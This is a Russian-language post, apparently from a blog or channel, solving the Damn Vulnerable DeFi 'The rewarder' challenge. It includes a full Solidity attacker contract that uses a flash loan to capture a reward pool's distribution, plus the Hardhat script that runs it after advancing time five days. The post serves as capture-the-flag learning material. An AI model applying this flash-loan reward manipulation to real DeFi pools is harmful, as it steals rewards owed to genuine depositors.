Damn Vulnerable Defi. Задача 5. The rewarder
Есть пул, которые предлагает вознаграждение в токенах каждые пять дней для тех, кто сделал депозит своих токенов в него. Четыре человека уже сделали депозит и получили свой выигрыш. В новом раунде, вам нужно забрать выигрыш себе. Можно использовать другой пул, который предлагает займы токенов.
В чем суть?
Задача заняла у меня больше времени, так как я искал внутреннюю уязвимость контрактов, вместо раздумывания над условием. Нам нужно просто получить токены из вознаграждения. Ни взламывать функции, ни искать подоплеку не нужно.
Просто берем займ, делаем депозит, получаем бонусы, возвращаем займ. И это работает. Хотя есть некая неуверенность, что смысл задачи был именно в этом. Но условие соблюдено, значит ок.
И так, мы берем займ в пуле, потом в функции, которая отвечает за возврат средств, прописываем условия депозита, вывод награды и возврата займа.
Простой контракт может выглядеть так:
contract Attacker5 {
DamnValuableToken damnValuableToken;
FlashLoanerPool flashLoanpool;
TheRewarderPool rewarderPool;
RewardToken rewardToken;
address attacker;
constructor (
address tokenAddress,
address flashLoanPoolAddress,
address rewarderPoolAddress,
address rewardTokenAddress,
address attackerAddress) {
damnValuableToken = DamnValuableToken(tokenAddress);
flashLoanpool = FlashLoanerPool(flashLoanPoolAddress);
rewarderPool = TheRewarderPool(rewarderPoolAddress);
rewardToken = RewardToken(rewardTokenAddress);
attacker = attackerAddress;
}
function attack(uint256 amount) external {
flashLoanpool.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external {
damnValuableToken.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);
rewarderPool.distributeRewards();
rewarderPool.withdraw(amount);
rewardToken.transfer(attacker, rewardToken.balanceOf(address(this)));
damnValuableToken.transfer(msg.sender, amount);
}
receive() external payable {}
}
Ну, и в решении, главное промотать время на 5 дней вперед.
const RewarderAttackerfactory = await ethers.getContractFactory('Attacker5', deployer);
const attackerContract = await RewarderAttackerfactory.deploy(
this.liquidityToken.address,
this.flashLoanPool.address,
this.rewarderPool.address,
this.rewardToken.address,
attacker.address
);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
await attackerContract.connect(attacker).attack(TOKENS_IN_LENDER_POOL);
Проверяем на правильность решения командой yarn run the-rewarder.
#dvd #DamnVulnerableDefi
Post #444
165
- 👍 2